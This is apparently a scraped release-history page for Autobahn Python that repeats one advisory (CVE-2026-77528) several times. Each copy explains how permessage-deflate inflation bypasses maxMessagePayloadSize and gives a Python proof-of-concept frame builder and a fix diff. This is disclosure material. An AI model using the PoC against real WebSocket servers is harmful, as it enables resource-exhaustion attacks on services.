+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jul 28, 2018

18.7.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jul 11, 2018

18.6.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jun 07, 2018

18.5.2 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
